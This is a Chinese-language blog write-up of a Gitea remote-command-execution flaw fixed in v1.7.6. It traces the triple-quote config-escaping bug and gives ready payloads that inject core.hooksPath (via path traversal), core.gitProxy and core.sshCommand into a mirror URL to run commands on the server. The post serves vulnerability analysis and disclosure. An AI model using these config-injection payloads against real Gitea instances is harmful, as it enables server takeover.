前言
4月13日,gitea发布v1.7.6,修复一处远程命令执行漏洞
因为之前也跟过gitea的其他洞,这次也继续调洞
分析
首先查看commit修复了什么 https://github.com/go-gitea/gitea/pull/6593/files#diff-6b299323ba0a072129c7841649f49536
看这样子是修复了设置
remote origin
的时候的洞,猜测是CRLF,直接看代码
定位SaveAddress
函数
跟进
SetValue
函数
看着只是设置了键值对,那么跟进
SaveToIndent
康康
将键值对写入buffer后写入文件,跟进
writeToBuffer
康康他是怎么处理键值对的
关键来了,如果存在换行就用"""
框住
这样就能用
"""
来逃逸了23333
复现
首先正常迁移一个外部仓库,选择镜像
进入仓库设置,修改URL
用burp一把梭
然后config文件成功被篡改
看上去很乱,但是重新点一下更新仓库设置就能格式化了
那么能篡改config文件后,怎么rce呢
通过阅读git文档和场外求助,共找到3种利用方式
利用链1
第一种就是使用hooksPath,通过设置core.hooksPath
,我们能够指定hooks文件,如果能指定到仓库所存放到地方不就可以为所欲为了吗
在转成普通仓库后,对文件进行修改后,会在data/tmp/local-repo/{repo_id}
下生成仓库文件,只要不重启gitea就不会消失,那么不久可以利用这个来做hooksPath
吗
可能有人要问,repo_id
我怎么知道呢,莫慌,可以使用搜索api来获取
首先创建一个镜像仓库,拉取恶意的hook文件,然后通过搜索api来获取
repo_id
,然后篡改url为
1 2 3 4 5 | http://www.baidu.com""" [core] hooksPath = ../../../data/tmp/local-repo/6/hooks/update.d [remote "origin"] cat = """ |
然后转换为普通仓库后,随便更新一个文件后就能触发了
注意,hook文件一定要有执行权限,在上传至远程git仓库时一定要加上执行权限,这样拉下来的hook也带有执行权限了 然而这种利用链存在问题,首先我是在用户目录下运行binary的,这样就可以用相对路径穿上去,但是不是每一个人都会在用户目录下运行的。虽然可以使用绝对路径,但是猜不到绝对路径就gg。还有在1.8版本,更改完文件后,临时的仓库文件就会被删除。所以这个利用链不完美。
利用链2
使用gitProxy
,git文档对其对描述是能够执行命令
修改url为
1 2 3 4 5 | git://www.baidu.com/catcat/test.git""" [core] gitProxy = touch [remote "origin"] cat = """ |
修改完成后点击更新就能执行touch
命令
但是gitProxy
是把值当作一个命令来执行的,所以不能带参数就不能扩大利用了
利用链3
在git文档里,gitProxy
的下面就是sshCommand
,可以利用这个来执行命令
触发条件是执行
git fetch
或git push
,先看看gitea同步时的操作
调用了
git remote update
,那再来看看git remote update
又调用了谁
nice,调用了
git fetch
,那么利用链完成
修改url为
1 2 3 4 5 | git@github.com:luckycat/luckycat""" [core] sshCommand = open /Applications/Calculator.app | ssh [remote "origin"] cat = """ |
点击同步,一键getshell
参考
感谢@lorexxar师傅提供利用链2的思路 感谢@lz1y师傅提供利用链3的思路 https://www.lz1y.cn/2019/07/20/CVE-2019-11229-Gitea-RCE/ https://git-scm.com/docs/git-config